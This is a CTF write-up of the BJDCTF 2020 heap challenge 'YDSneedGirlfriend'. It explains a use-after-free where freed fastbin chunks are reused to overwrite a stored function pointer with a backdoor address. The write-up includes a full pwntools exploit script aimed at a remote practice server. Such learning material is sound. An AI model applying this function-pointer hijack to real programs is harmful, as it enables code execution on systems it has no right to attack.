[BJDCTF 2020]YDSneedGirlfriend

By Vesper Vei
5 minutes read

Table of Contents

  1. YDSneedGirlfriend - Challenge Writeup
    1. Vulnerability Analysis
    2. Solution Steps
      1. ① Static Analysis
      2. ② Dynamic Debugging
      3. ③ Exploit Development
      4. ④ Final Exploit
    3. Tools Used
    4. Key Takeaways
      1. Technical Insights
      2. Pitfalls Encountered
      3. Pattern Recognition
    5. Related Challenges
    6. Further Thoughts

[!note] Related entry: PWN题目索引

YDSneedGirlfriend - Challenge Writeup

[!info] Challenge Information

  • Contest: BJDCTF 2020
  • Challenge: YDSneedGirlfriend
  • Difficulty: ★★★☆☆
  • Protection: Full protection
  • Vulnerability Type: UAF
  • Exploitation Technique: Heap exploitation

Vulnerability Analysis

This challenge was quite mind-bending for a beginner like me… but I still managed to understand it. After understanding it, it felt quite simple, so I want to record how I gradually worked through and understood it. This challenge directly calls **(&girlfriendlist + idx)) through the print_gerlfriend() function, while in the del_girlfriend() function it only does free() without nulling the pointer! This allows us to exploit a Use After Free vulnerability. There is no edit functionality in this challenge, so we have to find a way to create modification logic. How? By relying on fast_bins. Suppose there is a linked list like this: chunk_struck[0x20] : chunk_B -> chunk_A -> NULL (this fast_bin stores freed struct chunks) We know print_gerlfriend() will call to create indexed chunks (even if they have already been freed!!!), so now there are two freed struct chunks in the fast_bin. If at this point we add(0x10), the malloc mechanism will give us these two chunks of size = 0x20. Note that at this point the new struct chunk_C -> chunk_B (struct), while the data chunk_C -> chunk_A (struct) Do you see it? We can modify the function pointer in chunk_A now! Change it to our backdoor function, and when we print_gerlfriend() again, it will trigger our backdoor function! If this part is hard to understand, you can finish reading the detailed analysis below and then come back to this core part. Here is an image from another expert’s writeup; it is really well made. image

Solution Steps

① Static Analysis

First is an in-depth analysis of the add() function to understand the full picture of the chunk structure. image.png I drew this in great detail. In general, two chunks are created: one can be understood as a struct chunk, size = 0x10, which stores the print_girlfriend_name() function address, and then stores the address of the name data chunk, whose size can be chosen freely. The blue line here indicates that these two chunks are adjacent, though I drew them far apart for clarity of logic. In terms of malloc memory management, they are adjacent (in this situation). Now let’s look at where the vulnerability is found, del_girlfriend() image.png At this point, let’s do some dynamic debugging with gdb and see how our initial core idea appears on the heap.

② Dynamic Debugging

image.png The screenshot above is taken at the point where execution breaks on add(chunk_A);add(chunk_B); Next, I will free these two chunks and focus on the linked-list structure of fast_bins. image.png Now we can revisit our initial core idea. Combined with the diagram at the beginning, it becomes clear how this challenge exploits the Use After Free vulnerability.

③ Exploit Development

from LibcSearcher import*
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
#io = process('./pwn')
io = remote('node4.anna.nssctf.cn',28485)
s = lambda content : io.send(content)
sl = lambda content : io.sendline(content)
sa = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc = lambda number : io.recv(number)
ru = lambda content : io.recvuntil(content)
def slog(name, address): io.success(name+"==>"+hex(address))
def debug(): gdb.attach(io)
def add(size,name):
sla(":", '1')
sla(" :", str(size))
sla(" :", name)
def delete(index):
sla(":", '2')
sla(" :", str(index))
def show(index):
sla(":", '3')
sla(" :", str(index))
def take(index, content):
sla(":\n", '4')
sla("modify :", str(index))
sa("content\n", content)
backdoor = 0x400baa
add(0x10, 'aaaaaaaa') #chunk_A
add(0x20, 'bbbbbbbb') #chunk_B
delete(0)
delete(1)
add(0x10, p64(backdoor))
show(0)
io.interactive()

④ Final Exploit

image.png

Tools Used

IDA, pwngdb

Key Takeaways

Technical Insights

This is the second heap challenge I have done. Based on my current experience, it is important to carefully analyze how the add() function adds heap chunks. Also, for cases that like to place function pointers inside heap chunks, pay attention to whether the del() function nulls the pointer and whether the show() function directly calls the function pointer at that location. These are all very dangerous behaviors.

Pitfalls Encountered

I did not explain the print_gerlfriend() function in detail earlier, so let’s study it carefully here. This was a first for me. image.png Focus on (**(&girlfriendlist + idx))(*(&girlfriendlist + idx)); According to C language rules:

So what is passed is the “pointer to the struct itself”. At first I was confused here. Since the pointer to name_data is stored in the immediately adjacent next slot, why doesn’t (&girlfriendlist + idx) continue with +8? Actually, the logic is written inside the function. A glance at print_girlfriend_name makes it clear. image.png

Pattern Recognition

The del() function has pointer-nulling behavior.

None for now

Further Thoughts

This challenge is quite rigid, and it also does not provide the edit() function, so there is no way to modify the function pointer through heap overflow. There are not really any other ideas.


Created: 2025-12-10 21:02


Relationship Graph

Loading graph...